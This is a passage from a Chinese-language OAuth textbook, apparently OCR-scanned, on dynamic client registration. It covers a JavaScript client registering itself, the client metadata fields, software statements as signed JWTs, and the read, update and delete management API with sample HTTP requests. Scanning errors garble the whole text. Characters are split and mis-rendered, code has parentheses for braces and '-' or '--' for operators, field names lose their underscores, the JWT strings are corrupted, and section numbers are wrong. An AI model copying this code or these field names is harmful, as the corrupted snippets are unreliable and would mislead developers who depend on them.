综合 起 来 ， 注 册 端 点 的 实现 代码 如 附录 B 中 的 代码 清单 13 所 示 。 
我 们 的 授权 服务 器 上 的 注册 系统 比较 简单 , 但 可 以 为 它 扩展 一 些 对 客户 端的 检查 ， 比 如 对 所 
有 URL 执行 黑 名 单 检 查 , 限制 动态 注册 的 客户 端 能 使 用 的 权限 范围 , 确保 客户 端 提供 通信 地 址 ， 
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或 者 一 些 其 他 检查 。 还 可 以 使 用 OAuth 令 牌 对 注册 端点 进行 保护 ， 从 而 将 注册 信息 与 授予 令 牌 
权限 的 资源 拥有 者 关联 起 来 。 这 些 增 强 功能 作为 练习 留 给 读者 实现 。 





12.2.4 ”实现 客户 端 自行 注册 


现在 , 我 们 要 来 改造 客户 端 , 让 它 能 根据 需要 自行 注册 。 继续 使 用 上 一 个 练习 , 编辑 clientjs 
文件 。 请 注意 在 文件 项 部 附近 ， 我 们 定义 了 一 个 空 对 象 用 于 存储 客户 端 信息 。 





var client = {}; 


我 们 并 没有 像 第 3 章 那 样 手动 填充 该 对 象 ， 而 是 会 使 用 动态 注册 协议 。 这 里 又 采用 了 内 存 的 
存储 方案 , 一 旦 客户 端 软件 重新 启动 就 会 被 重 置 , 在 产品 级 别 的 系统 中 应 该 使 用 数据 库 或 其 他 存 
储 机 制 来 承担 这 一 任务 。 

首先 , 要 确认 是 否 需要 注册 ， 因 为 不 应 该 每 次 要 与 授权 服务 器 交互 的 时 候 都 去 注册 。 当 客户 
端 准备 向 授权 服务 器 发 送 最 初 的 授权 请 求 时 , 需要 先 检 查 其 是 否 拥有 与 授权 服务 器 对 应 的 客户 端 
ID。 如 果 没 有 , 则 要 调用 负责 客户 端 注册 的 功能 函数 。 如 果 注 册 成 功 ， 则 继续 后 续 流 程 。 如 果 不 
成 功 ， 客 户 端 应 该 显示 错误 信息 并 终止 任务 。 客 户 端 已 经 提供 了 这 一 处 理 过 程 的 代码 。 

if (!client.client id) ( 

registerClient(); 

if (!client.client id) ( 
res.render('error', (error: 'Unable to register client.')); 
return; 

j 

} 

现在 ， 要 实现 的 是 registerclient 功能 晒 数 。 这 个 函数 很 简单 ， 它 向 授权 服务 需 的 注册 
端点 发 起 一 个 POST 请求， 然后 将 请 求 响应 结果 在 和 client 对 象 。 















































var registerClient = function() ( 

Is 

首先 ， 需 要 定义 发 送 给 授权 服务 器 的 元 数据 的 值 。 这 些 元 数据 就 像 一 种 客户 端 配 置 模板 ,， 授 
权 服 务 器 会 在 此 基础 上 添加 一 些 其 他 字段 ， 比 如 分 配给 我 们 的 客户 端 ID 和 客户 端 密 钥 。 


var template = ( 
Client name: 'OAuth in Action Dynamic Test Client', 
client uri: 'http://localhost:9000/', 





redirect uris: ['http://localhost:9000/callback'], 
grant types: ['authorization code'], 
response types: ['code'], 


token endpoint auth method: 'secret basic' 


s; 
将 这 个 模板 对 象 通过 HTTP POST 请 求 发 送 给 授权 服务 器 。 
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var headers - ( 
'Content-Type': 'application/json', 
'Accept': 'application/json' 


H 


var regRes - request('POST', authServer.registrationEndpoint, 
{ 
body: JSON.stringify (template), 
headers: headers 
p 
); 


现在 要 来 检查 响应 的 结果 对 象 。 如 果 收 到 的 是 201 Created 状态 码 ， 则 将 返回 的 对 象 存 人 客 
户 端 对 象 。 如 果 得 到 错误 响应 , 则 不 存储 客户 端 对 象 , 并 对 注册 失败 的 错误 状态 进行 恰当 的 处 理 。 


if (regRes.statusCode -- 201) ( 
var body = JSON.parse(regRes.getBody()); 
console.log("Got registered client", body); 
if (body.client id) ( 
client - body; 


























} 

} 

从 这 里 开始 , 应 用 的 剩余 流程 与 之 前 的 练习 一 样 。 对 授权 服务 器 的 请 求 、 令 牌 处 理 以 及 对 受 
保护 资源 的 访问 ， 都 无 须 进 一 步 改动 (如 图 12-2 所 示 )。 注 册 的 客户 端 名 称 ， 以 及 动态 生成 的 客 
户 端 ID 会 显示 在 授权 页 面 上 。 要 验证 这 一 点 ， 可 以 修改 客户 端的 template, 重启 客户 端 ， 然 
后 再 运行 一 遍 。 注 意 ,不 需要 重新 启动 授权 服务 器 即 可 再 次 注册 成 功 。 授 权 服 务 器 无 法 辨认 发 送 
请 求 的 客户 端 ， 同 一 个 客户 端 软件 发 送 的 多 次 注册 请 求 ， 它 每 一 次 都 会 欣然 接受 ,并 生成 新 的 客 
户 端 ID 和 密 钥 。 


DAuti A 1. OAuth Authorization Server 





























Approve this client? 

Name: OAuth in Action Dynamic Test Client 
ID: iOemE275bv8BcOcTEUAeimrSxMIOewxs 

URI: http://localhost:9000/ 


The client is requesting access to the following: 


* foo 
* Obar 























图 12-2 授权 服务 器 的 批准 页 面 ， 显示 了 随机 的 客户 端 ID 和 客户 端 名 称 
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有 些 客户 端 需要 从 多 个 授权 服务 器 获取 令 牌 。 作 为 附加 练习 , 请 重 构 客户 端 上 的 注册 信息 存 
fit, 让 它 可 以 维护 多 个 对 应 授权 服务 器 的 注册 信息 。 也 可 以 挑战 一 下 , 将 练习 中 使 用 的 内 存 存储 
机 制 替 换 为 持久 性 数据 库 。 
12.3 ”客户 端 元 数据 

与 注册 客户 端 相关 联 的 属性 都 统称 为 该 客户 端的 元 数据 。 这 些 属性 中 有 些 与 底层 协议 的 功能 
相关 ,比如 redirect_uris 和 token endpoint auth method, 还 有 些 与 用 户 体 验 相 关 ， 比 
lll client name 和 1logo_uri。 在 前 面 的 示例 中 可 以 看 到 ， 这 些 属性 在 动态 注册 协议 中 有 两 种 
使 用 方式 。 

(1) 由 客户 端 发 送 至 授权 服务 器 。 客 户 端 会 向 授权 服务 器 发 送 一 组 指定 的 属性 值 。 这 些 属 性 
值 不 一 定 会 与 该 授权 服务 器 的 配置 兼容 ， 比 如 客户 端 指 定 的 grant_types 是 授权 服务 器 不 支持 
的 ， 或 者 请 求 的 scope 是 不 允许 客户 端 使 用 的 ， 所 以 客户 端 不 能 期 待 成 功 注 册 的 结果 总 是 与 请 
求 一 致 。 

(2) 由 授权 服务 器 返回 至 客户 端 。 授 权 服 务 器 会 向 客户 端 返 回 一 组 已 注册 的 请 求 值 。 只 要 授 
权 服 务 器 需要 , 它 可 以 在 客户 端 请 求 的 属性 值 的 基础 上 增加 、 替 换 和 移 除 。 授 权 服务 器 通常 会 尽 
量 顺应 客户 端 请 求 的 属性 值 , 但 它 终究 有 权 做 出 改动 。 无 论 如 何 , 授权 服务 器 都 必须 将 实际 注册 
的 属性 值 返回 给 客户 端 。 客 户 端 可 以 根据 自身 情况 对 不 合意 的 注册 结果 做 出 反应 , 包括 尝试 使 用 
更 加 合适 的 属性 值 来 变更 注册 ， 或 者 选择 拒绝 与 该 授权 服务 器 通信 。 

在 大 多 数 OAuth 系统 中 ， 客 户 端 是 从 属于 授权 服务 器 的 。 客 户 端 可 以 发 出 请 求 ， 但 能 决定 
最 终结 果 的 是 授权 服务 右 。 


12.3.1 核心 客户 端 元 数据 字段 名 表 


动态 客户 端 注册 核心 协议 定义 了 一 些 常 用 的 客户 端 元 数据 名 称 ， 并 允许 在 此 基础 上 进行 扩 
展 。 例 如 ， 基 于 OAuth 动态 客户 端 注册 并 与 之 兼容 的 OpenID. Connect 动态 客户 端 注册 规范 ， 
就 对 该 名 称 列表 进行 了 扩展 ， 增 加 了 OpenID Connect 协议 特有 的 一 些 字段 ， 第 13 章 将 对 此 进 
行 讨 论 。 表 12-1 列 出 了 OpenID Connect 特有 的 一 些 扩展 字段 ， 这 些 扩展 对 OAuth 客户 端 普遍 
适用 。 





















































































































































表 12-1 可 用 于 动态 客户 端 注册 的 客户 端 元 数据 字段 
字 BR 名 可 用 值 与 描述 
redirect uris 一 个 URI 字 符 串 数 组 , 在 基于 重 定 向 的 OAuthj 秆 可 类 型 中 使 用 , 比如 authorization_ 


codeffllimplicit 












































token endpoint auth method 客户 端 在 令 牌 端点 上 进行 身份 认证 的 方式 





















































CER) 
* 段 名 可 用 值 与 描述 
none 客户 端 不 在 令 牌 端点 上 进行 身份 认证 ， 可 能 是 因为 
客户 端 不 使 用 令 牌 端点 ， 或 者 使 用 令 牌 端点 但 它 是 
公开 客户 端 
client_secret_basic 户 端 使 用 HTTP Basic 发 送 其 客户 端 密 钥 。 如 果 不 























指定 且 已 为 客户 端 颁发 了 密 钥 ， 则 默认 为 此 值 
client, secret. post 客户 端 使 用 表单 参数 发 送 客 户 端 密 钥 















































client secret jwt 客户 端 会 创建 一 个 用 客户 端 密 钥 进行 对 称 签名 的 
JSON Web 令 牌 (JWT ) 
private, key. jwt 客户 端 会 创建 一 个 用 客户 端 私 钥 进行 非 对 称 签名 的 

















JSON Web 令 牌 (JWT )。 客 户 端 需要 在 授权 服务 器 
上 注册 自己 的 公 角 


















































grant, types 客户 端 获取 令 牌 所 使 用 的 许可 类 型 。 该 字段 使 用 的 值 与 令 牌 端点 上 grant_type 
参数 使 用 的 值 相同 












































authorization code 授权 码 许可 , 客户 端 将 资源 拥有 者 引导 至 授权 端点 ， 
获取 授权 码 ， 然 后 将 授权 码 发 回 至 令 牌 端点 。 需 要 













































































































































































对 应 使 用 的 response_type 为 “code” 

implicit 隐 式 许可 ， 客 户 端 将 资源 拥有 者 引导 至 授权 端点 ， 
直接 获取 令 牌 。 需 要 对 应 使 用 的 response_type 为 
“token” 

password 资源 拥有 者 密码 许可 ， 客 户 端 向 资源 拥有 者 索取 他 
们 的 用 户 名 和 密码 ， 用 于 在 令 牌 端点 上 换取 令 牌 

client, credentials 客户 端 凭据 许可 ， 客 户 端 使 用 自己 的 凭据 获取 令 牌 

refresh token 刷新 令 牌 许可 ， 在 资源 拥有 者 不 在 场 的 情况 下 ， 客 
户 端 使 用 刷新 令 牌 获取 新 的 访问 令 牌 

urn:ietf:params: JWT 断 言 许 可 ， 客 户 端 通过 出 示 带 有 特定 声明 的 

oauth:grant-type: JWT 来 获取 令 牌 

jwt-bearer 

urn:ietf:params: SAML 上 断言 许可 ， 客 户 端 通过 出 示 带 有 特定 声明 的 

oauth:grant-type: SAML 文 档 来 获取 令 牌 

saml2-bearer 

response_types 客户 端 使 用 的 授权 端点 响应 类 型 。 该 字段 使 用 的 值 与 response_type 参 数 使 用 

的 值 相 同 

code 授权 码 响应 类 型 ， 该 类 型 会 返回 授权 人 码 ， 该 授权 码 
会 被 传递 至 令 牌 端点 用 于 获取 令 牌 

token 隐 式 响应 类 型 , 该 类 型 会 直接 向 重 定向 URI 返 回 令 牌 


























client name 可 读 的 客户 端 显示 名 称 
client uri 指向 客户 端 主页 面 的 URI 






















































































































































































































































































































































































CH) 
字 ER 名 可 用 值 与 描述 

logo_uri 客户 端 图 形 标志 的 URI。 授 权 服 务 器 可 以 使 用 该 URI 向 用 户 展示 客户 端的 标志 ， 
但 需要 注意 的 是 ， 获 取 图 片 URI 资 源 可 能 会 给 用 户 带 来 安全 和 隐私 方面 的 问题 

scope 客户 端 请 求 令 牌 时 所 有 可 用 的 权限 范围 。 它 的 值 是 以 空格 分 隔 的 字符 串 ， 与 
OAuth 协议 中 的 同名 字段 一 样 

contacts 客户 端 负 责 人 员 的 联系 方式 列表 。 通 常 是 电子 邮箱 地 址 ， 但 也 可 能 是 电话 号 码 ， 
即时 通信 地 址 或 者 其 他 联系 方式 

tos_uri 一 个 可 读 页 面 的 URI, 该 页 面 列 出 了 客户 端 服 务 条 款 。 这些 条 款 描述 了 资源 拥有 
者 对 客户 端 授权 时 要 接受 的 契约 关系 

policy uri 一 个 可 读 页 面 的 URI, 该 页 面包 含 客 户 端的 隐私 策略 。 该 策略 描述 了 部 署 客户 端 
的 机 构 如 何 搜集 、 使 用 、 保 留 以 及 公开 资源 拥有 者 的 个 人 数据 ,包括 通过 授权 
API 获 取 的 数据 

jwks uri 一 个 指向 JSON Web 密 钥 集 合 的 URI， 该 密 钥 集合 包含 此 客户 端的 公 钥 ， 可 被 授 
权 服 务 器 访问 。 该 字段 不 能 与 jwks 一 起 使 用 。 优 先 使 用 jwks_uri 字段 ， 因 为 
它 能 让 客户 端 轮换 密 钥 

jwks 一 个 JSON Web 密 钥 集 合 文 档 ( JSON 对 象 ), 包含 此 客户 端的 公 钥 。 该 字段 不 能 
与 jwks_uri 一 起 使 用 。 优先 使 用 jwks_uri 字段 , 因为 它 能 让 客户 端 轮 换 密 钥 

software id 客户 端 软件 的 唯一 标识 符 。 该 标识 符 在 同一 个 客户 端 软 件 的 所 有 实例 上 都 是 相同 的 

software version software id 字段 所 标识 的 客户 端 软 件 的 版 本 标识 。 版 本 字符 串 对 授权 服务 器 
是 不 透明 的 ， 也 不 会 假设 它 具 有 特定 格式 








12.8.2 ”可 读 的 客户 端 元 数据 国际 化 


在 注册 请 求 和 响应 中 发 送 的 各 种 可 能 的 客户 端 信息 中 , 有 些 是 需要 在 授权 页 面 或 者 授权 服务 
器 上 其 他 面向 用 户 的 页 面 上 展示 的 ， 包 括 直 接 显示 给 用 户 的 字符 串 ( 比如 client_name， 客 户 
端 软 件 的 显示 名 称 )， 或 者 提供 给 用 户 点 击 的 URL ( 比如 client_uri， 客 户 端 主页 面 )。 但 是 
如 果 客 户 端 能 够 在 不 同 的 语言 环境 或 者 地 区 使 用 , 则 它 可 以 为 每 一 种 支持 的 语言 提供 这 些 可 读 字 
段 值 的 版 本 。 这 种 客户 端 是 否 需 要 为 每 一 种 语言 分 别 注册 呢 ? 

所 幸 ， 并 不 需要 ， 因 为 动态 客户 端 注 册 协 议 拥 有 一 个 能 够 同时 以 多 语言 表示 字段 值 的 系统 
(借鉴 自 OpenID Connect )。 在 一 个 普通 的 声明 中 ， 如 client_name， 字 段 和 值 会 被 存储 为 一 个 
普通 的 JSON 对 象 成 员 。 




























































































"client name": "My Client" 


为 了 表示 不 同 的 语言 或 脚本 ， 客 户 端 还 会 发 送 该 字段 的 另 一 个 版 本 ， 该 版 本 字段 名 后 用 # 
(英镑 符号 或 井 号 ) 附加 了 语言 标签 。 举 个 例子 ， 假 设 有 个 客户 端的 法 语 名 称 是 Mon Client。 法 
语 的 语言 代码 是 fr， 所 以 该 字段 在 JSON 中 将 被 表示 为 client_name#fr。 这 两 个 字段 会 被 一 
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"client name": "My Client", 
"client namesfr": "Mon Client" 


授权 服务 器 在 与 用 户 交 互 的 时 候 应 该 尽 可 能 使 用 最 明确 的 版 本 。 例 如 ,如 果 用 户 在 授权 服务 
器 上 注册 的 首选 语言 是 法 语 ， 则 授权 服务 顺应 该 显示 法 语 版 本 ， 而 不 是 通用 版 本 。 客 户 端 应 该 始 
终 提供 字段 名 的 通用 版 本 , 因为 如 果 没 有 指定 明确 的 语言 或 者 是 不 支持 的 国际 语言 环境 , 授权 服 
务 器 还 可 以 显示 不 带 区 域 限 定 符 的 通用 文字 。 

这 一 特性 的 实现 和 应 用 将 作为 练习 留 给 读者 去 完成 ， 因 为 需要 对 客户 端的 数据 模型 和 Web 
服务 器 的 语言 环境 设置 做 一 些 调整 。 虽 然 一 些 编程 语言 能 够 自动 地 将 JSON 对 象 解 析 成 对 应 语言 
平台 的 原生 对 象 ， 从 而 能 以 原生 对 象 成 员 的 方式 访问 值 ， 但 是 在 这 种 国际 化 方法 中 使 用 的 # 字 符 
在 对 和 象 方法 名 中 通常 是 非法 字符 。 因 此 ， 需 要 使 用 其 他 方法 。 例 如 ， 在 JavaScript 中 ， 之 前 那个 
对 象 中 的 第 一 个 值 可 以 通过 client.client name 访问 , 但 是 第 二 个 值 需要 使 用 client 

["client name fr"] 来 访问 。 

















































































































12.8.8 ”软件 声明 


有 一 点 需要 注意 , 客户 端 在 动态 注册 请 求 中 发 送 的 所 有 元 数据 的 值 完全 是 客户 端 自我 宣称 的 
值 。 在 这 种 情况 下 ， 没 有 办 法 防止 客户 端 声明 一 个 具有 误导 性 的 客户 端 名 称 或 者 声明 的 重 定 问 
URI 位 于 别人 的 域 之 下 。 你 在 第 7 章 和 第 9 章 已 经 看 到 ， 授 权 服务 器 稍 有 玻 忽 就 可 能 会 导致 各 种 
漏洞 。 

但 是 , 如 果 我 们 有 办 法 让 授权 服务 器 对 客户 端 出 示 的 客户 端 元 数据 进行 验证 ,判断 其 是 否 来 
自 可 信 的 组 织 , 会 怎么 样 ? 通过 这 种 机 制 , 授权 服务 器 可 以 锁定 客户 端 中 的 某 些 元 数据 属性 , 更 
大 程度 地 保证 元 数据 合法 。OAuth 动态 注册 协议 通过 软件 声明 提供 了 这 种 机 制 。 

简 而 言 之 ， 软 件 声明 就 是 一 个 经 过 签名 的 JWT， 其 中 的 载荷 是 客户 端 元 数据 ， 它 会 出 现在 
发 送 至 注册 端点 的 请 求 中 ， 如 12.2 节 所 述 。 无 须 向 授权 服务 顺手 动 注册 客户 端 软件 的 每 个 实例 ， 
客户 端 开 发 人 员 可 以 向 一 个 可 信 的 第 三 方 预 注册 其 客户 端 元 数据 的 子 集 , 特别 是 不 会 随时 间 变 化 
的 子 集 , 然后 获得 由 可 信 的 第 三 方 签名 的 软件 声明 。 随 后 客户 端 软 件 将 此 软件 声明 与 其 他 所 需 的 
元 数据 一 起 发 送 给 要 注册 的 授权 服务 顺 。 

来 看 一 个 具体 的 例子 。 假 设 开 发 人 员 要 预 注 册 一 个 客户 端 ， 其 客户 端 名 称 、 客 户 端 主页 面 、 
标志 以 及 服务 条 款 在 所 有 客户 端 实例 和 授权 服务 器 上 都 保持 不 变 。 开 发 人 员 在 可 信 的 权威 机 构 注 
册 这 些 字 段 ， 并 得 到 一 个 经 过 签名 的 JWT 格式 的 软件 声明 。 





















































eyJOeXAiOiJKV1OiLCJhbGciOiJIUzI1NiJ9.eyJzb2Z0d2FyZV9pZCI61jg0MDEyLTM5MTMOLTM5MTIiL 
CJzb2Z0d2FyZV92ZXJzaW9uIjoiMSA4yLjUtZG9scGhpbirsImNsaWVudF9uYW11IjoiU3BlY21hbCBPOXV 
OaCBDbGllbnQiLCJjbGllbnRfdXJpIjoiaHROCHM6Ly9leGFtcGxlLm9yZy8iLCJsb2dvX3VyaSI61ImhO0d 
HBzOi8vZXhhbXBsZS5vcmcvbG9nby5wbmciLCJO0b3NfdXJpIjoiaHROCHM6Ly9leGFtcGxlLm9yZy90ZXJ 
tcylvZilzZXJ2aWNlLyJ9.X4k7X-JLnOM9rZdVugYgHJBBnq3s9RsugxZ OHMfrjCo 


解析 该 JWT 载荷 得 到 的 JSON 对 象 与 注册 请 求 中 发 送 的 JSON 对 象 非 常 类 似 。 
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"software id": "84012-39134-3912", 

"software version": "1.2.5-dolphin", 

"client name": "Special OAuth Client", 

"client uri": "https://example.org/", 

"logo uri": "https://example.org/logo.png", 

"tos uri": "https://example.org/terms-of-service/" 


} 

客户 端 发 送 的 注册 请 求 可 以 包含 软件 声明 中 不 存在 的 附加 字段 。 在 这 个 例子 中 , 客户 端 软 件 
可 以 被 安装 在 不 同 的 主机 上 ， 需 要 指定 不 同 的 重 定向 URI， 并 通过 配置 来 请 求 不 同 的 权限 范围 。 
该 客户 端的 注册 请 求 将 包含 其 软件 声明 作为 附加 参数 。 

POST /register HTTP/1.1 

Host: localhosts9001 


Content-Type: application/json 
Accept: application/json 























( 


"redirect uris": ["http://localhost:9000/callback"], 
"SCope": "foo bar baz", 
"Software statement": " eyJOeXAiOiJKV1OiLCJhbGciOiJIUzI1NiJ9.eyJzb2Z0d82FyZV 


9pZCI61Ijg0MDEyLTM5MTMOLTM5MTIiLCJzb2Z0d2FyZV92ZXJzaW9uIjoiMS4yLjUtZG9scGhpb 
ilIsImNsaWVudF9uYW111joiU3BlY21hbCBPOXVOaCBDbGllbnQiLCJjbGllbnRfGaXJpIjoiaHRO 
cHM6Ly91leGFtcGxlLm9yZy8iLCJsb2dvX3VyaSI6ImhOdHBzOi8vZXhhbXBsZS5vcmcvbG9nby5 
wbmciLCJOb3NfaXJpIjoiaHROCHM6Ly9leGFtcGxlLm9yZy90ZXJtcylvZilzZXJ2aWNlLyJ9.X 
4k7X-JLnOM9rzdVugYgHJBBnq3s9RsugxZQHMfrjCo" 

} 


授权 服务 器 会 解析 该 软件 声明 ， 验 证 其 签名 ， 判 断 它 是 否 由 可 信 的 权威 机 构 颁发 。 如 果 是 ， 
则 软件 声明 中 的 字段 将 会 取代 未 经 签名 的 JSON 对 象 中 对 应 的 字段 。 

软件 声明 的 可 信和 级别 高 于 OAuth 中 常见 的 自我 宣称 值 。 它 还 允许 授权 服务 器 网 络 信任 一 个 
(或 多 个 ) 中 央 权 威 机 构 ， 由 中 央 权 威 机 构 为 不 同 的 客户 端 颁发 软件 声明 。 此 外 ， 在 授权 服务 铝 
上 可 以 根据 软件 声明 中 的 信息 将 一 个 客户 端的 多 个 实例 从 逻辑 上 组 合 在 一 起 。 虽然 每 一 个 实例 依 
然 拥有 各 自 的 客户 端 ID 和 客户 端 密 钥 ， 但 一 旦 任何 实例 出 现 恶 意 行 为 ， 服 务 器 管理 员 都 可 以 一 
次 性 禁用 或 撤销 对 应 客户 端 软 件 的 所 有 副本 。 

软件 声明 的 实现 将 作为 练习 留 给 读者 去 完成 。 
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客户 端的 元 数据 并 不 会 始终 保持 不 变 。 客 户 端 可 以 改变 其 显示 名 称 , 增加 或 移 除 重 定向 URI, 
为 新 的 功能 请 求 新 的 权限 范围 , 或 者 在 客户 端 生 命 周期 中 进行 任何 其 他 改变 。 客 户 端 也 有 可 能 要 
读 取 自 身 的 配置 。 如 果 授 权 服 务 咒 在 一 段 时 间或 者 事件 触发 之 后 轮换 客户 端 密 钥 , 客户 端 需要 知 
道 新 的 密 钥 。 最 后 ， 如 果 客 户 端 确定 不 会 再 被 使 用 ， 比 如 用 户 要 将 它 印 载 的 时 候 ， 它 可 以 通知 授 
权 服 务 需 清除 它 的 客户 端 ID 以 及 相关 联 的 数据 。 
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12.4.1 管理 协议 的 工作 原理 


为 满足 以 上 这 些 使 用 场景 ，OAuth 动态 客户 端 注册 协议 "定义 了 一 个 RESTful 协议 ， 它 是 对 
OAuth 动态 客户 端 注 册 协 议 的 扩展 。 该 管理 协议 对 核心 注册 协议 的 create 方法 进行 扩充 ， 增 加 了 
对 应 的 read、update 和 delete 方法， 实现 对 动态 注册 的 客户 端的 全 生命 周期 管理 。 

为 实现 这 些 方法 ,管理 协议 在 注册 端点 的 响应 中 另外 增加 了 两 个 字段 。 首 先 ,是 服务 需 返 回 
给 客户 端的 registration client uri 字段 ， 表 示 客 户 端 配 置 端 点 URI。 该 URI 提供 对 这 一 
客户 端的 所 有 管理 功能 。 客 户 端 按 原样 使 用 该 URI, 不 需要 额外 的 参数 或 者 转换 。 该 URI 通 常 对 
授权 服务 器 上 注册 的 每 一 个 客户 端 都 是 唯一 的 ， 但 是 该 URI 的 结构 完全 由 授权 服务 器 决定 。 其 
次 , 授权 服务 器 还 要 向 客户 端 返 回 registration access token Ft, 它 是 一 个 特殊 的 令 牌 ， 
叫 作 注册 访问 令 牌 。 这 是 一 个 OAuth bearer 令 牌 ,客户 端 可 以 用 它 来 访问 客户 端 配 置 端点 ， 除 此 
之 外 无 其 他 用 途 。 与 其 他 OAuth 令 牌 一 样 ， 该 令 牌 的 格式 完全 由 授权 服务 器 决定 ， 客 户 端 只 管 
使 用 












































来 看 一 个 具体 的 例子 。 首 先 ， 客 户 端 向 注册 端点 发 送 注册 请 求 。 服 务 器 响应 ， 不 过 在 JSON 
对 象 中 增加 了 上 述 的 两 个 字段 。 授 权 服务 需 生 成 的 配置 端点 URI 是 在 注册 端点 URI 后 连接 客户 
端 下， 这 符合 一 般 的 RESTful 设计 原则 ， 但 格式 可 以 由 授权 服务 器 自由 决定 。 注 册 访 问 令 牌 在 
服务 需 上 是 一 个 随机 字符 串 ， 与 我 们 生成 的 其 他 令 牌 一 样 。 


HTTP/1.1 201 Created 
Content-Type: application/json 

















( 
"o .id": "1234-wejeg-0392", 

É _secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6t5r", 

€ .id issued at": 2893256800, 

"c Secret expires at": O0, 

i 

c 

È 


lien 





"token_endpoint_auth_method": "client_secret_basic", 
"client_name": "OAuth Client", 
"redirect_uris": ["http://localhost:9000/callback"], 
"client uri": "http://localhost:9000/", 
"grant types": ["authorization, code"], 
"response types": ["code"], 
"Scope": "foo bar baz", 
"registration client uri": "http://localhost:9001/register/1234-wejeg-0392", 
"registration access token": "ogh238fj2f0zFaj38dA" 
} 


注册 响应 中 的 其 他 字段 与 之 前 的 是 一 样 的 。 如 果 客 户 端 需要 读 取 自己 的 注册 信息 ,就 向 客户 
端 配置 端点 发 送 一 个 HTTP GET 请 求 ， 并 将 请 求 的 authorization 头 部 设置 为 广 册 访 问 令 牌 。 




















GET /register/1234-wejeg-0392 HTTP/1.1 
Accept: application/json 
Authorization: Bearer ogh238fj2f0zFaj38dA 





(D RFC 7591: https://tools.ietf.org/html/rfc 7591 , 
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授权 服务 器 会 检查 配置 端点 URI 中 引用 的 客户 端 ， 确 保 请 求 中 出 示 的 注册 访问 令 牌 是 颁发 
给 该 客户 端的 。 只 要 所 有 检查 都 通过 ， 服 务 器 的 响应 与 正常 注册 请 求 响应 类 似 。 响 应 主体 仍然 是 
一 个 描述 注册 客户 端的 JSON 对 象 , 但 响应 代码 是 HTTP 200 OK。 除 了 客户 端 ID 不 能 改变 之 外 ， 
授权 服务 器 可 以 自由 更 新 客户 端的 任何 字段 ， 包 括 客户 端 密 钥 和 注册 访问 令 牌 。 在 这 个 例子 中 ， 
服务 器 轮换 了 客户 端 密 钥 , 但 其 他 的 字段 值 都 保持 不 变 。 请 注意 ,该 响应 中 还 包含 客户 端 配置 端 
点 URI 以 及 注册 访问 令 牌 。 






































HTTP/1.1 200 OK 
Content-Type: application/json 


{ 
"client id": "1234-wejeg-0392", 
"Client secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6", 
"client id issued at": 2893256800, 
"client, secret expires at": O0, 
"token endpoint auth method": "client secret basic", 
"client name": "OAuth Client", 
"redirect uris": ["http://localhost:9000/callback"], 
"client uri": "http://localhost:9000/", 
"grant types": ["authorization code"], 
"response types": ["code"], 
"Scope": "foo bar baz", 
"registration client uri": "http://localhost:9001/register/1234-wejeg-0392" 
"registration access token": "ogh238fj2f0zFaj38dA" 

j 


如 果 客 户 端 要 更 新 自己 的 注册 信息 , 就 向 配置 端点 发 送 一 个 HTTP PUT 请 求 , 并 同样 将 请 求 
的 Authorization 头 部 设置 为 注册 访问 令 牌 。 客 户 端 请 求 中 会 包含 返回 自 注册 请 求 的 整个 配 
置 ， 包 括 客户 端 ID 和 客户 端 密 钥 。 但 是 ， 与 最 开始 的 动态 注册 请 求 一 样 ， 客 户 端 无 法 自 定义 客 
Pin ID 和 客户 端 密 钥 的 值 。 客 户 端的 更 新 请 求 不 包含 的 字段 还 有 如 下 这 些 〈 或 者 与 它们 相关 联 的 
字段 )。 


口 client, id issued at 





























口 client secret expires at 





口 registration client uri 





口 registration, access, token 
请 求 对 象 中 的 其 他 所 有 值 都 会 用 于 替换 客户 端 配置 中 现 有 的 值 。 字 段 在 请 求 对 象 中 缺失 会 被 
理解 为 删除 对 应 字段 的 现 有 值 。 


PUT /register/1234-wejeg-0392 HTTP/1.1 
Host: localhost:9001 

Content-Type: application/json 

Accept: application/json 

Authorization: Bearer ogh238fj2f0zFaj38dA 











( 
"client id": "1234-wejeg-0392", 
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"client secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6", 
"client name": "OAuth Client, Revisited", 
"redirect uris": ["http://localhost:9000/callback"], 
"client uri": "http://localhost:9000/", 
"grant types": ["authorization, code"], 
"Scope": "foo bar baz" 

} 











授权 服务 器 会 再 次 检查 配置 端点 URI 中 引用 的 客户 端 ， 确保 请 求 中 出 示 的 注册 访问 令 牌 是 
颁发 给 该 客户 端的 。 授 权 服务 器 还 会 检查 客户 端 密 钥 ， 如 果 存 在 ， 要 确保 它 与 现 有 值 是 一 致 的 。 
授权 服务 器 的 响应 消息 与 读 取 请 求 的 响应 完全 相同 ， 是 一 个 HTTP 200 OK 消息 ， 主 体 是 包含 注 
册 客 户 端 详情 的 JSON 对 象 。 与 最 初 的 注册 请 求 一 样 ， 授 权 服 务 器 有 权 拒 绝 或 替换 客户 端 传人 的 
任何 字段 。 授 权 服务 器 这 一 次 也 能 够 改变 客户 端 元 数据 中 的 任何 信息 ， 但 客户 端 了 D 除外 。 

如 果 客 户 端 要 从 授权 服务 器 取消 注册 ， 可 以 向 配置 端点 发 送 一 个 HTTP DELETE 请 求 , 并 将 
请 求 的 Authorization 头 部 设置 为 注册 访问 令 牌 。 

DELETE /register/1234-wejeg-0392 HTTP/1.1 


Host: localhost:9001 
Authorization: Bearer ogh238fj2f0zFaj38dA 


授权 服务 器 还 是 会 再 次 检查 配置 端点 URI 中 引用 的 客户 端 ， 确 保 请 求 中 出 示 的 注册 访问 令 
牌 是 颁发 给 该 客户 端的 。 如 果 检 查 通过 ， 并 且 服 务 需 能 够 删除 客户 端 ， 则 会 啊 应 一 个 空 的 HTTP 
204 No Content 消息 。 































































































HTTP/1.1 204 No Content 


从 此 ， 客 户 端 需要 丢弃 包括 客户 端 ID 、 客 户 端 密 钥 以 及 注册 访问 令 牌 在 内 的 注册 信息 。 如 
果 可 能 ， 授 权 服 务 噩 也 应 该 删除 与 这 个 已 经 移 除 的 客户 端 相关 联 的 所 有 访问 令 牌 和 刷新 令 牌 。 








12.4.2 ”实现 动态 客户 端 注 册 管 理 API 


现在 ， 已 经 知道 每 一 个 操作 的 预期 结果 ， 接 下 来 要 在 授权 服务 器 上 实现 管理 API。 请 打开 
ch-12-ex-2 目录 ， 并 编辑 authorizationServerjs 文件 。 我 们 已 经 提供 了 核心 动态 客户 端 注 册 协 议 的 
实现 ,因此 将 重点 关注 文 持 管理 协议 所 需 的 新 功能 。 提 醒 一 下 ， 如 果 你 想 查看 所 有 已 注册 的 客户 
